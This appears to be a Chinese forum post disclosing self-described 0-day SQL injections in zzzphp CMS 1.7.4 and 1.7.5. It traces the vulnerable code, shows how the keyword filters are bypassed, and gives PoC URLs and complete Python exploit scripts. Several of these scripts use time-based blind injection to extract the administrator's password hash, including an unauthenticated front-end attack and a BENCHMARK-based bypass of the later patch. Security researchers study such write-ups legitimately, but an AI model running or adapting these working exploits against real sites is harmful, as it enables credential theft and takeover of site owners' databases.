1. 前言
    小众cms的0day有啥用,长毛了都,放出来大家一起学习学习吧
    注入涉及前后台,当时审计的是最新版zzzphp1.7.4版本,没想到过了几天,更新到1.7.5版本了,也就是目前最新的版本(难道是我把后台的注入提交给cnvd,然后通知给厂商了???)。看了下更新日志,也没有与安全相关的修复,我寻思后台注入他也不会修吧,前台注入他也不知道啊,也有可能被别人提交到哪个地方了吧。然后试了下exp,发现不起作用了……看来还是被修复了,对比了下发现确实是,然后分析了会,又给绕过去了,下面一一分析两个版本的前后台注入。

  2. zzzphp1.7.4后台9处注入
    后台目录默认为admin加三位数字,我这里为admin241
    重点分析第一处注入:
    在admin241/index.php中的14及17行,

    $cid=geturl('cid');
    $data=db_load_sql_one('select ,b.sid,b.s_type from [dbpre]content a,[dbpre]sort b where b.sid=a.c_sid and cid='.$cid);
    $cid是直接拼接在后面的,也没有单引号啥的
    跟踪函数geturl,在inc/zzz_main.php的1724行,

    这里就有很多坑了,一一来分析:
    1.它是通过$_SERVER[ 'REQUEST_URI' ]然后parse_url来获取参数值的,所以无法存在空格,制表符等字符。如:在浏览器中访问127.0.0.1/?id=123 aaa,通过此方式获取的id值为123%20aaa,这还怎么注入。尝试在burp中,直接加入空格,返回http400。考虑到mysql中制表符可以代替空格,以16进制的方式,将上述的空格修改为09,即在hex窗口中将20修改为09,同样返回http400。所以想注入的话,不能够存在空格等字符。然后也不能存在url编码的东西,比如浏览器访问127.0.0.1/?id=1>1,获取的id为1%3e1, 不会自动给你进行一次url解码,但这种情况可以直接在burp中修改,把请求里的%3e改为>即可
    2.注意到1731行的$arr = explode( '/', $s ),所以不能存在字符/,故无法考虑使用/
    的形式代替空格
    3.注意到1734行的$last = str_replace( '&', '=', array_pop( $arr ) ),所以注入时不能存在字符&
    4.注意到1736行的$arr1 = explode( '=', $last ),所以注入时不能存在字符=
    5.1726行的$s = danger_key($s),danger_key在zzz_main.php的769行,如下:

    function danger_key($s) {
     $danger=array('php','preg','server','chr','decode','html','md5','post','get','file','cookie','session','sql','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','_');
     $s = str_ireplace($danger,"*",$s);
     $key=array('php','preg','decode','post','get','cookie','session','$','exec','ascii','eval','replace');
    foreach ($key as $val){
        if(strpos($s,$val) !==false){
         error('很抱歉,执行出错,发现危险字符【'.$val.'】');
       }
    }
     return $s;
    }
    

    过滤了很多字符,初看一眼,和注入相关的,不能存在chr,union,ascii字符。
    这里我没有仔细一行一行看了,直接来测试一下这个geturl函数,
    在admin241/index.php的14行后面加个echo $cid;exit;


    出现了mysql注释符直接没东西返回
    综上,注入不能出现空格,=, /,union,ascii,以及需要进行url编码才认识的字符(如%0a,制表符等)
    有那么多限制,考虑时间盲注,eg:
    index.php?id=(sleep(ascii(mid(user()from(1)for(1)))=109))
    ascii被过滤了,用ord替换,=号被过滤了,用<或>
    先测试sleep多长时间比较合适,经过测试,如果延时成功,sleep(0.1)会在2.9s左右响应(是由于前面的sql语句会返回29行记录,sleep(1)的话要等29s左右才响应)

    Poc:
    http://127.0.0.1/zzzphp/admin241/?module=content&sid=123&cid=(sleep(0.1*(ord(mid(user(),1,1))<97)))
    如果没有延时,直接响应,说明user()的第一个字符小于97是不对的
    http://127.0.0.1/zzzphp/admin241/?module=content&sid=123&cid=(sleep(0.1*(ord(mid(user(),1,1))<98)))
    如果成功延时,2.9s左右返回,说明user()的第一个字符小于98是对的,导致延迟成功。
    那么,user()的第一个字符的ascii就是97。
    附上exp来获取数据库用户名:

    import urllib.request
    import time
    headers = {
     "Cookie": "zzz_adminpass=1; zzz_adminpath=0; zzz_adminname=admin; zzz_admintime=1574763592; zzz_adminface=..%2Fplugins%2Fface%2Fface1.png; PHPSESSID=5iqginknjajejlgk18rerm73a3",
     }
    result = []
    for i in range (1,5):
     for j in range(47,122):#暂考虑数字字母,没考虑其他字符
         url = "http://127.0.0.1/zzzphp/admin241/?module=content&sid=123&cid=(sleep(0.1*(ord(mid(user(),"+str(i)+",1))<"+str(j)+")))"
         try:
             request = urllib.request.Request(url=url,headers=headers)
             response = urllib.request.urlopen(request,timeout=1)
         except:
             print("第"+str(i)+"位:"+chr(j-1))
             result.append(chr(j-1))
             time.sleep(2)
             break
    print(result)
    


    那么问题来了,由于不能存在空格等字符,仅仅一个user()不能证明能够获取其他数据,怎么获取user表的password?
    考虑+代替空格,但是from前后的空格,不能用+代替,mysql会报错。最终使用括号成功,如图,并没有出现空格等字符,成功将zzz_user表里uid为1(uid小于2)的密码查询

    失败的Poc:
    http://127.0.0.1/zzzphp/admin241/?module=content&sid=123&cid=(sleep(0.1*(ord(mid((select(password)from(zzz_user)where+uid<2),1,1))<96)))
    原因:没有注意到下划线被过滤了(上面的danger_key函数过滤的,将_替换为星号),下划线被过滤,那就基本无解,无法查询其他表内容
    回头重新看了眼拼接sql语句的地方:
    $data=db_load_sql_one('select *,b.sid,b.s_type from [dbpre]content a,[dbpre]sort b where b.sid=a.c_sid and cid='.$cid);
    发现他也没有给表的前缀,然后用[dbpre]代替的,追踪函数db_load_sql_one,

    function db_load_sql_one( $sql, $d = NULL ) {
     $db = $_SERVER[ 'db' ];
     $d = $d ? $d : $db;
     if ( !$d ) return FALSE;
     $sql = str_replace( '[dbpre]', DB_PRE, $sql );
     $arr = $d->sql_find_one( $sql );
     db_errno_errstr($arr, $d, $sql);
     return $arr;
    }
    

    将[dbpre]给换成表前缀,所以我也可以这样做,表前缀用[dbpre]即可。
    最终poc:
    http://127.0.0.1/zzzphp/admin241/?module=content&sid=123&cid=(sleep(0.1*(ord(mid((select(password)from([dbpre]user)where+uid<2),1,1))<96)))
    获取管理员(uid为1)的password的exp

    import urllib.request
    import time
    headers = {
     "Cookie": "zzz_adminpass=1; zzz_adminpath=0; zzz_adminname=admin; zzz_admintime=1574763592; zzz_adminface=..%2Fplugins%2Fface%2Fface1.png; PHPSESSID=5iqginknjajejlgk18rerm73a3",
     }
    result = []
    for i in range (1,17):
     for j in range(47,122):
         url = "http://127.0.0.1/zzzphp/admin241/?module=content&sid=123&cid=(sleep(0.1*(ord(mid((select(password)from([dbpre]user)where+uid<2),"+str(i)+",1))<"+str(j)+")))"
         try:
             request = urllib.request.Request(url=url,headers=headers)
             response = urllib.request.urlopen(request,timeout=1)
         except:
             print("第"+str(i)+"位:"+chr(j-1))
             result.append(chr(j-1))
             time.sleep(2)
             break
    print(result)
    


    既然将geturl('xxx')直接拼接进sql语句会造成时间盲注,那么全局搜索一下,最终发现,除了上面分析的一处,还存在8处注入,共9处
    21行的sid,26行的stype,37行的sid,44行的sid,46行的pid,54行的customid,61行的uid,66行的gid
    剩下的8处都是类似db_load_one('user_group',array('gid'=>$gid))的形式,和最开始分析的直接拼接进sql语句的有点不一样,这里只挑一个简单说一下吧。就分析最后一个吧,66行的那个
    先跟进函数db_load_one,这个函数在最后一行调用了find_one,跟进find_one函数(inc/zzz_db_mysql.php的83行)
    这里我在93-94行直接插入:
    echo "SELECT $cols FROM $table $where$orderby LIMIT 1";exit;
    然后访问127.0.0.1/zzzphp/admin241/?module=admingroup&gid=aaa',如图

    可以看到,gid的值直接被拼接到sql语句中,然后被单引号包起来,但是并没有过滤单引号。
    然后在数据库中测好延时及合适的sql语句


    第一个图是想去除空格及测好延时,第二个图是想完成引号闭合及去除空格
    故可构造poc:
    127.0.0.1/zzzphp/admin241/?module=admingroup&gid=aaa'or(sleep(0.3))or'

  3. zzzphp1.7.4前台几处sql注入
    在前台随便点了一个链接:http://127.0.0.1/zzzphp/?news/7
    接下来去看看这个news和这个7是怎么整到数据库执行的
    根目录下的index.php只require了inc/zzz_client.php
    zzz_client.php从上往下看,前面整了一堆没用的,然后在58-59行:
    $location=getlocation();
    ParseGlobal(G('sid'),G('cid'));
    这里我就猜测getlocation应该就是来解析url的,然后生成了G('sid'),G('cid'),然后再ParseGlobal
    我就直接在$location=getlocation();后面加了echo G('sid');echo 11111;echo G('cid');exit;

    如图,G('sid')没有,G('cid')为url中的7
    基本可以确定是getlocation()来设置参数的
    getlocation函数在zzz_main的1537行左右:

    function getlocation() {
     $location = getform( 'location', 'get' );
     if ( isset( $location ) ) {
         if ( checklocation( $location ) != FALSE )
             return $location;
     }
     $url = $_SERVER[ 'REQUEST_URI' ];
     if(substr($url, -1)== "=") phpgo (rtrim($url, '=')); 
     if ( conf( 'runmode' ) == 2 ) {
         $arr = stripos( $url, '?' ) === FALSE ? parse_url( '?' . ltrim( $url, '/' ) ) : parse_url( $url );
     } else {
         $arr = parse_url( $url );
     }   
     $query = arr_value( $arr, 'query' );
     $query = str_replace( conf( 'siteext' ), '', $query );  
     $GLOBALS[ 'page' ] = sub_right( $query, '_' );
     $query = sub_left( $query, '_' );
     if ( defined( 'LOCATION' ) ) {
         $GLOBALS[ 'sid' ] = '-1';
         $GLOBALS[ 'cid' ] = '-1';
         $GLOBALS[ 'cname' ] = LOCATION;
         return LOCATION;
     }
     if ( empty( $query ) ) {
         $GLOBALS[ 'sid' ] = 0;
         $GLOBALS[ 'cid' ] = 0;
         $GLOBALS[ 'cname' ] = 'index';
         return 'index';
     } else {
         $pos = stripos( $query, '/' );
         $q = substr( $query, 0, $pos );
         $p = substr( $query, $pos + 1 );
         $location = empty( $q ) ? checklocation( $query, 0 ) : checklocation( $q, $p );
         //echop('location:'.$location);echop('query:'.$query);echop('q:'.$q);echop('p:'.$p);echop('sid:'.G('sid'));;echop('cid:'.G('cid'));die;
         if ( !empty( $location ) ) {
             return $location;
         }
         if ( $q == 'brand' ) {
             $GLOBALS[ 'sid' ] = '-1';
             if ( !empty( $p ) ) {
                 if ( db_count( 'brand', "b_filename='" . $p . "'" ) > 0 ) {
                     $GLOBALS[ 'bname' ] = $p;
                 } else {
                     $GLOBALS[ 'bid' ] = $p;
                 }
             }
             return 'brand';
         }
         if ( !empty( $query ) ) {
             $query = sub_left( $query, '=' );
             if ( db_count( "sort", "s_filename='" . $query . "'" ) > 0 ) {
                 $data = db_load_one( "sort", "s_filename='" . $query . "'", "sid,s_type" );
                 $GLOBALS[ 'cid' ] = 0;
                 $GLOBALS[ 'sid' ] = $data[ 'sid' ];
                 $GLOBALS[ 'cname' ] = $query;
                 return in_array($data[ 's_type' ],load_model()) ? 'list' : $data[ 's_type' ];
             }
         }       
         if ( $pos == 0 ) {
             return $query;
         }
    
     }
    }
    

    代码很长,很难看的样子,也是通过$_SERVER[ 'REQUEST_URI' ]的方式处理参数的。我也没有动态调试的工具,向来只是手动echo xxx;exit;的方式下断点。但是既然刚刚已经知道了cid就是7,所以可以直接忽略$GLOBALS[ 'cid' ] = 0这种的判断,所有我猜测(实际上就是这样),应该是进入到了$location = empty( $q ) ? checklocation( $query, 0 ) : checklocation( $q, $p );,通过调用checklocation来设置cid的
    zzz_main.php的1602行 checklocation:

    function checklocation( $q, $p = NULL ) {   
     $arr1 = array( 'about', 'gbook', 'list', 'taglist', 'brandlist' );
     $arr2 = array( 'content', 'order', 'user', 'form',  conf('wappath'), 'sitemap', 'sitexml' );
     $arr3 = load_model();
     if ( in_array( $q, $arr1 ) ) {
         $p = sub_right( $p, '/' );
         $sid = arr_split($p,'_',0);
         if ( ifnum($sid)) {
             // 对后半部分截取,并且分析
             $GLOBALS[ 'sid' ] = $sid;
             $GLOBALS[ 'cid' ] = 0;
         } else {
             $p = sub_left( $p, '=' );
             $GLOBALS[ 'sid' ] =  arr_split($p,'&',0);
             $GLOBALS[ 'cid' ] = 0;
         }
         return $q;
     } elseif ( in_array( $q, $arr2 ) ) {
         if ( ifnum( $p ) ) {
             $GLOBALS[ 'cid' ] = $p;
             $GLOBALS[ 'sid' ] = '-1';
             return $q;
         } else {
             $p = sub_left( $p, '=' );
             $cid = sub_left( $p, '&' );
             if ( $cid > 0 ) $GLOBALS[ 'cid' ] = $cid;
             return $q;
         }
     } elseif ( in_array( $q, $arr3 ) ) {
         if ( ifnum( $p ) ) {
             $GLOBALS[ 'cid' ] = $p;
             return 'content';
         } else {
             $p = sub_left( $p, '=' );
             $cid = sub_left( $p, '&' );
             if ( $cid > 0 ) {
                 $GLOBALS[ 'cid' ] = $cid;
                 return 'content';
             }  else if ( !empty( $p ) ) {
                 if ( db_count( "content", "c_pagename='" . $p . "'" ) > 0 ) {
                     $data = db_load_one( "content", "c_pagename='" . $p . "'", "cid,c_sid" );
                     $GLOBALS[ 'sid' ] = $data[ 'c_sid' ];
                     $GLOBALS[ 'cid' ] = $data[ 'cid' ];
                     $GLOBALS[ 'cname' ] = $p;
                     return 'content';
                 }            
             } else {
                 return false;
             }
         }
     } else {
         return FALSE;
     }
    }
    

    代码也很长,很难看。echo $q发现就是url中的news,直接进入到最后的elseif ( in_array( $q, $arr3 ) )
    $p就是url中news/后的一堆东西,然后先$p = sub_left( $p, '=' ),再$cid = sub_left( $p, '&' )
    然后,然后一定要注意了,cid的值直接要影响注入的触发位置了
    如果$cid > 0成立,直接设置好$GLOBALS[ 'cid' ] = $cid,然后return 'content'
    如果$cid > 0不成立,进行下一个判断:db_count( "content", "c_pagename='" . $p . "'" ) > 0 ,这个地方应该也可以直接触发sql注入的,本人没有测试,,有兴趣的读者可以继续跟一下
    我测的是$cid > 0成立的情况,这个条件很容易满足,利用php的弱类型即可满足,如访问127.0.0.1/zzzphp/?news/7abcd即可,此时cid为7abcd,能满足大于0的。
    捋一下流程,其实很简单:
    先是$location=getlocation()
    getlocation()调用了checklocation,checklocation设置了$GLOBALS[ 'cid' ] = $cid
    再走到下一行
    ParseGlobal(G('sid'),G('cid'));
    这是G就是个函数,从G('cid')就是$GLOBALS[ 'cid' ] ,想知道的可以追下这个G
    追踪函数ParseGlobal,在inc/zzz_db.php的996行,996……

    很明显了,直接在1000行触发注入
    可以仔细仔细观察getlocation,发现没有像后台那么严格,毕竟没有调用danger_key函数,斜线/好像也是可以用的,但是这些我都没考虑,还是直接用后台注入的那个套路来的
    准备构造好sql语句了,源sql语句为:
    select from zzz_sort where sid=(select c_sid from zzz_content where cid=$cid)
    $cid可控,但要数字开头,不能有空格,等于号,斜线不知道可不可以有(实在抱歉,,当时没注意这些,现在写这文章的时候才注意到,但是我目前的版本为1.7.5了,1.7.4的也有,但是没安装,所以就没法echo输出查看了,可以自己测试一下,但是1.7.5版本的是可以的)
    这里我就假装限制和后台的注入一样严格吧…………
    当时一直不知道什么东西代替开头的数字与sleep之间的空格,还一直想着sleep前面要and or啥的

    后来瞎整了好久,发现了直接+sleep就好使了……然后又发现小于sleep()或大于sleep()等等都可以,具体见图:

    select
    from zzz_sort where sid=(select c_sid from zzz_content where cid=7+sleep(0.01));

    select from zzz_sort where sid=(select c_sid from zzz_content where cid=7-sleep(0.03));

    select
    from zzz_sort where sid=(select c_sid from zzz_content where cid=7小于sleep(0.03));

    select * from zzz_sort where sid=(select c_sid from zzz_content where cid=7>sleep(0.03))

    原因我也不知道,有没有师傅给解释一下直接大于sleep小于sleep为啥会延时,这个时间与什么有关系
    那么前台注入的poc就很容易了:
    127.0.0.1/zzzphp/?news/7>sleep(0.03)
    获取管理员(uid为1)的password的exp:

    import urllib.request
    import time
    #获取管理员密码,已知长度是16
    #空格被过滤,发现sleep()前面可以用>或<或<>,原因不知道
    #我这边测试注入语句:select * from zzz_sort where sid=(select c_sid from zzz_content where cid=7>sleep(0.03))
    #Empty set (2.67 sec),为什么2.67s不知道。cid的值直接影响sleep的参数,如果数据库里没有对应的cid,测试sleep(0.1)即可,2.9s左右返回
    #但数据库里没有对应的cid,网站响应302,会到下面代码里的except里去,还得处理302,算了,麻烦
    #等于号被过滤,用小于吧,从0递增,设置timeout为1,请求失败的上一个即为该字符
    result = []
    for i in range (1,17):
     for j in range(47,122):
         url = "http://127.0.0.1/zzzphp/?news/7>sleep(0.03*(ord(mid((select(password)from([dbpre]user)where+uid<2),"+str(i)+",1))<"+str(j)+"))"
         try:
             request = urllib.request.Request(url=url)
             response = urllib.request.urlopen(request,timeout=1)
         except:
             print("第"+str(i)+"位:"+chr(j-1))
             result.append(chr(j-1))
             time.sleep(2)
             break
    print(''.join(result))
    


    然后我随便在前台点开一个链接,什么news,about啥的,在url后加>sleep(0.1),都会延时,注入问题应该都差不多,没仔细去看

  4. zzzphp1.7.5后台sql注入
    位置依旧和1.7.4相同,我大概看了下,好像是danger_key函数发生了改变

    function danger_key($s,$type='') {
     $s=empty($type) ? htmlspecialchars($s) : $s;
         $danger=array('php','preg','server','chr','decode','html','md5','post','get','file','cookie','session','sql','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep');
     $s = str_ireplace($danger,"*",$s);
     $key=array('php','preg','decode','post','get','cookie','session','$','exec','ascii','eval','replace');
    foreach ($key as $val){
        if(strpos($s,$val) !==false){
         error('很抱歉,执行出错,发现危险字符【'.$val.'】');
       }
    }
     return $s;
    }
    

    他先给你htmlspecialchars了,这是1.7.4没有的,,htmlspecialchars了,就不能用大于小于了,单引号没影响
    然后多过滤了几个关键字,create,func,symlink,sleep,少过滤了下划线_
    不能用大于小于,我就用like(114)或in(113)这种形式吧,也不需要空格,sleep不能用,就BENCHMARK吧
    在数据库测试好合适的sql语句:
    select ,b.sid,b.s_type from zzz_content a,zzz_sort b where b.sid=a.c_sid and cid=(BENCHMARK(35000000(ord(mid(user(),1,1))like(114)),hex(233333)));

    算了,直接整password吧
    select ,b.sid,b.s_type from zzz_content a,zzz_sort b where b.sid=a.c_sid and cid=(BENCHMARK(35000000(ord(mid((select(password)from(zzz_user)where(uid)in(1)),1,1))like(52)),hex(233333)));

    访问127.0.0.1/zzzphp/admin241/?module=content&sid=123&cid=(BENCHMARK(35000000*(ord(mid((select(password)from([dbpre]user)where(uid)in(1)),1,1))like(52)),hex(233333)))
    如果管理员(uid为1)的password的第一个字母的ascii为52,即可成功延时
    获取password的exp:

    import urllib.request
    import time
    headers = {
     "Cookie": "zzz_adminpass=1; zzz_adminpath=0; zzz_adminname=admin; zzz_admintime=1576050340; zzz_adminface=..%2Fplugins%2Fface%2Fface1.png; PHPSESSID=lfdciobk45189ih79fhg9uiff6",
     }
    result = []
    for i in range (1,17):
     for j in range(47,122):#暂考虑数字字母,没考虑其他字符
         url = "http://127.0.0.1/zzzphp/admin241/?module=content&sid=123&cid=(BENCHMARK(35000000*(ord(mid((select(password)from([dbpre]user)where(uid)in(1)),"+str(i)+",1))like("+str(j)+")),hex(233333)))"
         try:
             request = urllib.request.Request(url=url,headers=headers)
             response = urllib.request.urlopen(request,timeout=1)
         except:
             print("第"+str(i)+"位:"+chr(j))
             result.append(chr(j))
             time.sleep(2)
             break
    print(result)
    

  5. zzzphp1.7.5前台sql注入
    与1.7.4相比,getlocation函数多了一行:
    $url = danger_key(str_replace(conf('siteext'),'',$_SERVER[ 'REQUEST_URI' ]));
    1.7.4是:$url = $_SERVER[ 'REQUEST_URI' ];
    也就是说,给你多调用了一个danger_key函数
    感觉没什么用,不能出现大于小于等于还有sleep
    空格的话,这里可以用注释符了,但是也没什么用,毕竟已经有不用空格的方法
    我反而觉得1.7.4前台的注入是最简单的了,没有过滤啊,就是不能出现空格而已……我好像把他分析复杂了
    还是拿这个url:127.0.0.1/zzzphp/?news/7
    数据库构造好语句:
    select from zzz_sort where sid=(select c_sid from zzz_content where cid=7+BENCHMARK(7000000(ord(mid((select(password)from(zzz_user)where(uid)in(1)),1,1))like(52)),hex(233333)));

    poc:
    127.0.0.1/zzzphp/?news/7+BENCHMARK(7000000*(ord(mid((select(password)from([dbpre]user)where(uid)in(1)),1,1))like(52)),hex(233333))
    exp:

    import urllib.request
    import time
    result = []
    for i in range (1,17):
     for j in range(47,122):#暂考虑数字字母,没考虑其他字符
         url = "http://127.0.0.1/zzzphp/?news/7+BENCHMARK(7000000*(ord(mid((select(password)from([dbpre]user)where(uid)in(1)),"+str(i)+",1))like("+str(j)+")),hex(233333))"
         try:
             request = urllib.request.Request(url=url)
             response = urllib.request.urlopen(request,timeout=1)
         except:
             print("第"+str(i)+"位:"+chr(j))
             result.append(chr(j))
             time.sleep(2)
             break
    print(''.join(result))
    

  6. 结束
    1.python写exp时,建议自带的request库,requests模块会自动进行一次url编码,就是说,我在1.7.4版本里,用的大于号小于号,他会给我整成%3E%3C,当时迷茫了很久,延时一直不成功,burp里就可以,用wireshark抓包才发现
    2.脚本没考虑网络延迟等问题
    3.zzzphp1.7.4版本在网上不太好搜,上传附件了,1.7.5在zzzcms官网下载即可
    4.平时根本不写文章,也不会用这个编辑器,这编辑器实在不得劲,自己变颜色,调格式,大于小于星号井号都会变格式,直接回车加个空行也会变格式……所以排版啥的,嘿嘿嘿
    5.文章中写的不好的地方,不清楚的地方,反而写复杂的地方,望各位师傅见谅,有啥疑问交流即可,欢迎各位师傅加我微信交流。要是有师傅给讲下大于小于sleep是个啥情况,或者有师傅讲讲这两个版本如何用dnslog的方式出数据,那就再好不过了。微信:c3l4MTI3MTkyMDAwMQ==

  7. 下集预告
    sdcms1.9前台sql注入。目前应该是最新版的了
    我印象中是个通用的问题,当时就找了一个地方,没仔细看,不知道其他地方还有没有。等有空分析分析发出来吧

zzzphp1.7.4.zip (10.686 MB) 下载附件
点击收藏 | 0 关注 | 1
登录 后跟帖